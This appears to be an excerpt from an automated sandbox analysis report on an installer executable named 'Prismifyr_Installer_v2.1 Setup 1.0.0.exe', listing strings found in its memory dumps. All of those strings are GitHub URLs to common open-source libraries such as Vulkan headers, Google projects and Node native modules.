Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Headers.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Tools
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Tools.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/KhronosGroup/Vulkan-Headers
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/KhronosGroup/Vulkan-Loader
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LearnBoost/node-canvas/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Maratyszcza/pthreadpool
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/NickNaso/ghostscript4js/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/NickNaso/magick-cli/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Nicoshev/rapidhash
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Nicoshev/rapidhash/blob/master/rapidhash.h
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/PortAudio/portaudio/tree/master/src/common
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ReactiveX/rxjs
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ReklatsMasters/node-process-list/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/SeleniumHQ/selenium/tree/trunk
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Squirrel/Squirrel.Mac
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TooTallNate/node-socks-proxy-agent#readme
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TooTallNate/node-time/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TooTallNate/node-weak/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TooTallNate/ref/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WICG/construct-stylesheets/issues/119#issuecomment-588352418.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WICG/construct-stylesheets/issues/119#issuecomment-588352418.border-boxcontent-bo
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WICG/scheduling-apis
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WICG/shared-element-transitions/blob/main/debugging_overflow_on_images.md.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WICG/view-transitions/blob/main/debugging_overflow_on_images.md
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WebAssembly/wasm-c-api/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WebBluetoothCG/web-bluetooth/blob/main/implementation-status.md
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/XadillaX/aliyun-ons/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/XadillaX/thmclrx/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aawc/unrar.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/adaltas/node-krb5/blob/master/binding.gyp)#
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/andrewrk/node-mv/blob/master/package.json
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/astro/node-expat/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/astro/node-expat/blob/master/deps/libexpat/libexpat.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/bitinn/node-fetch
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/bnoordhuis/node-buffertools/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/bolgovr/node-ip2location/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/brailcom/speechd
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/c4milo/node-fann/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/c4milo/node-inotify/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/c4milo/v8-profiler/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chalk/ansi-regex/blob/HEAD/index.js
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chalk/supports-color
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chjj/pty.js/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/creationix/topcube/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/developmentseed/node-sqlite3/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/developmentseed/node-sqlite3/blob/master/deps/sqlite3.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dpranke/typ.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/etingof/pyasn1
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/diff-match-patch/tree/master/javascript
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/distributed_point_functions
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/google-api-cpp-client/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/pprof/tree/master/proto
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/private-join-and-compute
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/protobuf
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/re2
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/ruy
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/securemessage
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/sentencepiece
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/shell-encryption
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/ukey2
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/iarna/unique-filename
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/iarna/unique-filename.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/inspect-js/is-date-object/blob/main/index.js#L3-L11
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/intel/libva
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/isaacs/color-support.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/isaacs/minipass-fetch)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/isaacs/minipass.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joeferner/node-oracle/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jprichardson/node-fs-extra
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/323)).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/pull/141
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jprichardson/node-jsonfile#readfilefilename-options-callback).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jprichardson/node-jsonfile#readfilesyncfilename-options).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jrmuizel/qcms/tree/v4
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/justinlatimer/node-midi/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/kenchris/urlpattern-polyfill
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lloyd/node-memwatch/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lovell/sharp/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/luismreis/node-openvg-canvas/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/luismreis/node-openvg/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mafintosh/pump
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mapbox/node-zipfile/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mapnik/node-mapnik/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/martine/ninja/blob/master/misc/ninja_syntax.py
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/milani/appjs/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mixu/nwm/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mmod/nk-xrm-installer/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mmod/nk-xrm-installer/blob/master/disburse.py)
